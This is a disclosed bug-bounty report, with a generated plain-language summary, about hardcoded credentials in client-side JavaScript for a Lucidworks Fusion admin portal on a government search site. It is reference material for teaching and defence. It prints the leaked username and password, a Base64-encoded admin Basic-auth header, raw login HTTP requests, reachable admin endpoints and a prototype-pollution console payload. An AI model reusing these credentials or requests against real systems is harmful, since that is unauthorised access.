Public user login credentials leaked for lucidworks fusion admin panel
A JavaScript file served by the site contained hardcoded login credentials for a public user account, which allowed the researcher to log in to the Lucidworks Fusion admin portal. The researcher also manipulated a client-side notification object to trigger script execution in the logged-in session.
Originally disclosed on Bugcrowd
- Accepted in 31 hours
- Fixed in 4 days
- Disclosed after 2.4 years
Summary by IthacaLabs
Lucidworks Fusion Login Portal Security Issues: Broken Access Control, Prototype Pollution, and Hardcoded Credentials in Weak Encoding Format
Type: Remote Attacks
Lucidworks Fusion Login Portal Unauthorized Access: We have managed to identify the login hardcoded credentials "publicuser:publicuser1" in cleartext format by inspecting the source code of the JS file "https://search.epa.gov/epasearch/app_v2_1.js". Successful login as "publicuser" on Lucidworks Fusion Login Portal "https://search.epa.gov/admin" was performed.
Request: POST /api/session?realmName=native HTTP/1.1 Host: search.epa.gov User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json;charset=utf-8 Content-Length: 50 Origin: https://search.epa.gov DNT: 1 Connection: close Referer: https://search.epa.gov/admin/login Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
{"username":"publicuser","password":"publicuser1"}
Response: HTTP/1.1 201 Created Date: Sat, 12 Mar 2022 14:57:51 GMT Server: Jetty(9.4.19.v20190610) Strict-Transport-Security: max-age=31536000; includeSubDomains X-Frame-Options: DENY X-Content-Type-Options: nosniff Access-Control-Allow-Methods: DELETE, GET, HEAD, PATCH, POST, PUT Access-Control-Allow-Origin: https://search.epa.gov Access-Control-Allow-Credentials: true Content-Length: 0 Set-Cookie: id=6002f21b-0b50-4472-b388-fa9f28216e87;Path=/;HttpOnly Keep-Alive: timeout=5, max=99 Connection: Keep-Alive
JS Prototype Pollution to Cross-Site Scripting attack: After a successful login as "publicuser", popup messages for unauthorized actions are displayed. These messages are based on the following session key value that is provided by the web app after the successful authentication.
Affected Session Key at "Session Storage": fusionNotify: [{"bodycopy":"API error getting collections.","timeStamp":1646924267430,"noteType":"error","read":false,"error":{"data":{"msg":"unauthorized"},"status":403,"config":{"method":"GET","transformRequest":[null],"transformResponse":[null],"jsonpCallbackParam":"callback","pathParams":{},"queryParams":{},"headers":{"Accept":"application/json, text/plain, /","Content-Type":"application/json","Cache-Control":"no-cache","Pragma":"no-cache","If-Modified-Since":"Mon, 26 Jul 1997 05:00:00 GMT"},"data":"","params":{},"url":"/api/apollo/collections","cached":false},"statusText":"Forbidden","xhrStatus":"complete"}},{"bodycopy":"Unauthorized GET /api/apollo/collections","timeStamp":1646924267429,"noteType":"info","read":false},{"bodycopy":"Unauthorized GET /api/apollo/apps","timeStamp":1646924267403,"noteType":"info","read":false},{"bodycopy":{"data":{"msg":"unauthorized"},"status":403,"config":{"method":"GET","transformRequest":[null],"transformResponse":[null],"jsonpCallbackParam":"callback","pathParams":{"key":"quickstart.enabled"},"queryParams":{},"headers":{"Accept":"application/json, text/plain, /","Content-Type":"application/json","Cache-Control":"no-cache","Pragma":"no-cache","If-Modified-Since":"Mon, 26 Jul 1997 05:00:00 GMT"},"data":"","params":{},"url":"/api/apollo/configurations/quickstart.enabled","cached":false},"statusText":"Forbidden","xhrStatus":"complete"},"timeStamp":1646924267383,"noteType":"error","read":false},{"bodycopy":"Unauthorized GET /api/apollo/configurations/quickstart.enabled","timeStamp":1646924267382,"noteType":"info","read":false},{"bodycopy":"Unauthorized PUT /api/apollo/usage/counters/ui.launcher","timeStamp":1646924267087,"noteType":"info","read":false},{"bodycopy":"Unauthorized GET /api/apollo/license","timeStamp":1646924266374,"noteType":"info","read":false}]
Therefore, JavaScript is used for manipulating this element and displaying the popup messages. After analyzing the targeted object, we have managed to exploit this issue and manipulate its value through HTML DOM (Prototype Pollution attack). The following payload was executed in the web browser's console (in the security context of "publicuser").
Prototype Pollution Payload: Object.proto.toString = ()=>{alert("polluted")}
Depending on the exact logic of the application, prototype pollution can lead to practically all popular web vulnerabilities: remote code execution (RCE), cross-site scripting (XSS), SQL injection, denial of service (DOS), access control bypass, and so on. In this scenario, prototype pollution can lead to cross-site scripting (XSS). By leveraging this issue, an attacker is able to cause arbitrary JavaScript code to be executed in a user's browser within the security context of it.
We have managed to identify Lucidworks Fusion Components/endpoints by inspecting the JS files “https://search.epa.gov/admin/bundle.js” and “https://search.epa.gov/app-studio/wro/js/setup.js”. Then, using the session of the “publicuser”, we have successfully accessed the following endpoints:
https://search.epa.gov/admin/banana/index.html#/dashboard https://search.epa.gov/devops/#/* https://search.epa.gov/rules/select-app https://search.epa.gov/app-studio/apps/#/setup https://search.epa.gov/app-studio/setup/views/facets.html https://search.epa.gov/app-studio/setup/views/fields-title.html https://search.epa.gov/app-studio/setup/views/fields-descr.html https://search.epa.gov/app-studio/setup/views/analyzing.html
Request: GET /admin/banana/app/dashboards/default.json?1647097156817 HTTP/1.1 Host: search.epa.gov User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Referer: https://search.epa.gov/admin/banana/index.html Cookie: id=6002f21b-0b50-4472-b388-fa9f28216e87 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
Response: HTTP/1.1 200 OK Date: Sat, 12 Mar 2022 14:59:30 GMT Server: Jetty(9.4.19.v20190610) Strict-Transport-Security: max-age=31536000; includeSubDomains X-Frame-Options: DENY X-Content-Type-Options: nosniff Last-Modified: Tue, 22 Oct 2019 22:55:58 GMT Content-Type: application/json Accept-Ranges: bytes Content-Length: 18313 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive
{ "title": "Service Logs", "services": { "query": { "idQueue": [ 1 ], "list": { "0": { "query": "*", "alias": "", "color": "#7EB26D", "id": 0, "pin": false, "type": "lucene" } }, ………. ………. ………. "solr": { "server": "/api/apollo/query-pipelines/_system/collections/", "core_name": "system_logs", "core_list": [], "global_params": "&df=message_txt&fq=type_s:java" }, "username": "guest" }
We have managed to identify the internal API service’s Credentials “admin:password123” in Base64 encoding format hardcoded in JS file “https://search.epa.gov/app-studio/wro/js/setup.js”.
Hardcoded Credentials: Authorization: 'Basic YWRtaW46cGFzc3dvcmQxMjM='
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely credentials for a real account were embedded in client-side JavaScript, and the application trusted a client-side session object when rendering notifications.
Impact
The leaked account gave access to several admin and app-studio pages, and the prototype pollution could run arbitrary script in the user's browser, though the script execution was demonstrated only by the researcher in their own console.
What the attacker needed
Read access to public JS files; no account needed to obtain credentials
How it was found
- Inspect the site's JavaScript file and find the embedded public user credentials.
- Send a login request to the session API with those credentials and receive a session cookie.
- Log in to the admin portal and observe the notification messages stored in session storage.
- Run a prototype pollution payload in the browser console to make the notification renderer execute script.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A website's JavaScript file, which anyone can download, contained a username and password written directly in the code. Because those credentials worked on the admin login page, anyone who read the file could sign in. Separately, the researcher changed a value in the browser's own memory to make a popup run code, but this only affected their own browser session.
What is Leaked secrets?
Keys, tokens or passwords left in public code, apps, logs or responses, that grant real access.